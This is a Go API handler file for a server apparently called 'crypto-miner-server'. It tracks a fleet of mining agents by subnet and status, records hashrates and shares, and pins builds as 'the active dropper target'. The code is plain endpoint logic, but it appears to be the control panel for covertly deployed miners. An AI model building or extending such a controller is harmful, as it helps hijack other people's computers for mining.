250 lines
6.3 KiB
Go
250 lines
6.3 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"strconv"
|
|
"strings"
|
|
"time"
|
|
|
|
"crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/models"
|
|
"github.com/go-chi/chi/v5"
|
|
)
|
|
|
|
var serverStartTime = time.Now()
|
|
|
|
type Handler struct {
|
|
db *db.Database
|
|
}
|
|
|
|
func NewHandler(database *db.Database) *Handler {
|
|
return &Handler{db: database}
|
|
}
|
|
|
|
// GET /api/v1/dashboard/stats
|
|
func (h *Handler) GetDashboardStats(w http.ResponseWriter, r *http.Request) {
|
|
stats, err := h.db.GetFleetStats()
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeJSON(w, stats)
|
|
}
|
|
|
|
// GET /api/v1/agents
|
|
// Optional query params: limit, offset, status (online|offline), subnet (e.g. 10.0.0.x).
|
|
// When limit is set, response is {"agents":[],"total":N,"limit":L,"offset":O}; otherwise a plain array.
|
|
func (h *Handler) ListAgents(w http.ResponseWriter, r *http.Request) {
|
|
filter, paginated := parseAgentListFilter(r)
|
|
agents, err := h.db.ListAgentsFiltered(filter)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
if agents == nil {
|
|
agents = []*models.Agent{}
|
|
}
|
|
if !paginated {
|
|
writeJSON(w, agents)
|
|
return
|
|
}
|
|
total, err := h.db.CountAgentsFiltered(filter)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeJSON(w, map[string]interface{}{
|
|
"agents": agents,
|
|
"total": total,
|
|
"limit": filter.Limit,
|
|
"offset": filter.Offset,
|
|
})
|
|
}
|
|
|
|
const (
|
|
agentListDefaultLimit = 100
|
|
agentListMaxLimit = 2000
|
|
)
|
|
|
|
func parseAgentListFilter(r *http.Request) (db.AgentListFilter, bool) {
|
|
limitStr := r.URL.Query().Get("limit")
|
|
if limitStr == "" {
|
|
return db.AgentListFilter{}, false
|
|
}
|
|
limit, err := strconv.Atoi(limitStr)
|
|
if err != nil || limit <= 0 {
|
|
limit = agentListDefaultLimit
|
|
}
|
|
if limit > agentListMaxLimit {
|
|
limit = agentListMaxLimit
|
|
}
|
|
offset := 0
|
|
if offStr := r.URL.Query().Get("offset"); offStr != "" {
|
|
if o, err := strconv.Atoi(offStr); err == nil && o >= 0 {
|
|
offset = o
|
|
}
|
|
}
|
|
status := strings.TrimSpace(r.URL.Query().Get("status"))
|
|
if status != "online" && status != "offline" {
|
|
status = ""
|
|
}
|
|
return db.AgentListFilter{
|
|
Limit: limit,
|
|
Offset: offset,
|
|
Status: status,
|
|
Subnet: strings.TrimSpace(r.URL.Query().Get("subnet")),
|
|
}, true
|
|
}
|
|
|
|
// GET /api/v1/agents/{id}
|
|
func (h *Handler) GetAgent(w http.ResponseWriter, r *http.Request) {
|
|
id := chi.URLParam(r, "id")
|
|
agent, err := h.db.GetAgent(id)
|
|
if err != nil {
|
|
http.Error(w, "Agent not found", http.StatusNotFound)
|
|
return
|
|
}
|
|
writeJSON(w, agent)
|
|
}
|
|
|
|
// GET /api/v1/agents/{id}/stats
|
|
func (h *Handler) GetAgentStats(w http.ResponseWriter, r *http.Request) {
|
|
id := chi.URLParam(r, "id")
|
|
if _, err := h.db.GetAgent(id); err != nil {
|
|
http.Error(w, "Agent not found", http.StatusNotFound)
|
|
return
|
|
}
|
|
limitStr := r.URL.Query().Get("limit")
|
|
limit := 100
|
|
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 {
|
|
limit = l
|
|
}
|
|
if limit > 1000 {
|
|
limit = 1000
|
|
}
|
|
samples, err := h.db.GetHashrateHistory(id, limit)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
if samples == nil {
|
|
samples = []*models.HashrateSample{}
|
|
}
|
|
writeJSON(w, samples)
|
|
}
|
|
|
|
// GET /api/v1/shares
|
|
func (h *Handler) GetRecentShares(w http.ResponseWriter, r *http.Request) {
|
|
limitStr := r.URL.Query().Get("limit")
|
|
limit := 50
|
|
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 {
|
|
limit = l
|
|
}
|
|
if limit > 1000 {
|
|
limit = 1000
|
|
}
|
|
shares, err := h.db.GetRecentShares(limit)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
if shares == nil {
|
|
shares = []*models.Share{}
|
|
}
|
|
writeJSON(w, shares)
|
|
}
|
|
|
|
// GET /api/v1/health
|
|
func (h *Handler) HealthCheck(w http.ResponseWriter, r *http.Request) {
|
|
writeJSON(w, map[string]string{"status": "ok"})
|
|
}
|
|
|
|
// GET /api/v1/server/ready
|
|
// Requires auth (not in the basicAuthMiddleware bypass list).
|
|
// Add ?verbose=1 to get full diagnostics; omit for a lightweight liveness check.
|
|
func (h *Handler) ServerReady(w http.ResponseWriter, r *http.Request) {
|
|
uptime := int64(time.Since(serverStartTime).Seconds())
|
|
resp := map[string]interface{}{
|
|
"status": "ok",
|
|
"uptime_s": uptime,
|
|
}
|
|
|
|
if r.URL.Query().Get("verbose") != "1" {
|
|
writeJSON(w, resp)
|
|
return
|
|
}
|
|
|
|
// DB ping
|
|
dbStatus := "ok"
|
|
if err := h.db.QueryRow("SELECT 1").Scan(new(int)); err != nil {
|
|
dbStatus = "error: " + err.Error()
|
|
resp["status"] = "degraded"
|
|
}
|
|
resp["db"] = dbStatus
|
|
|
|
// Count online agents
|
|
var onlineAgents int
|
|
if err := h.db.QueryRow("SELECT COUNT(*) FROM agents WHERE status = 'online'").Scan(&onlineAgents); err != nil {
|
|
onlineAgents = -1
|
|
}
|
|
resp["agents_online"] = onlineAgents
|
|
|
|
if resp["status"] == "degraded" {
|
|
w.Header().Set("Content-Type", "application/json")
|
|
w.WriteHeader(http.StatusServiceUnavailable)
|
|
json.NewEncoder(w).Encode(resp)
|
|
return
|
|
}
|
|
writeJSON(w, resp)
|
|
}
|
|
|
|
// GET /api/v1/builds
|
|
func (h *Handler) ListBuilds(w http.ResponseWriter, r *http.Request) {
|
|
builds, err := h.db.ListBuilds(50)
|
|
if err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
if builds == nil {
|
|
builds = []*models.BuildRecord{}
|
|
}
|
|
writeJSON(w, builds)
|
|
}
|
|
|
|
// PUT /api/v1/builds/{id}/pin
|
|
// Pins the specified build as the active dropper target.
|
|
// Send an empty id or DELETE to a fake pin endpoint to unpin all.
|
|
func (h *Handler) PinBuild(w http.ResponseWriter, r *http.Request) {
|
|
id := chi.URLParam(r, "id")
|
|
if err := h.db.SetPinnedBuild(id); err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeJSON(w, map[string]interface{}{"ok": true, "pinned_id": id})
|
|
}
|
|
|
|
// DELETE /api/v1/builds/pin (unpin all without deleting anything)
|
|
func (h *Handler) UnpinAll(w http.ResponseWriter, r *http.Request) {
|
|
if err := h.db.SetPinnedBuild(""); err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeJSON(w, map[string]interface{}{"ok": true})
|
|
}
|
|
|
|
// DELETE /api/v1/builds/{id}
|
|
func (h *Handler) DeleteBuild(w http.ResponseWriter, r *http.Request) {
|
|
id := chi.URLParam(r, "id")
|
|
if err := h.db.DeleteBuild(id); err != nil {
|
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
writeJSON(w, map[string]interface{}{"ok": true, "deleted_id": id})
|
|
}
|
|
|
|
func writeJSON(w http.ResponseWriter, v interface{}) {
|
|
w.Header().Set("Content-Type", "application/json")
|
|
json.NewEncoder(w).Encode(v)
|
|
}
|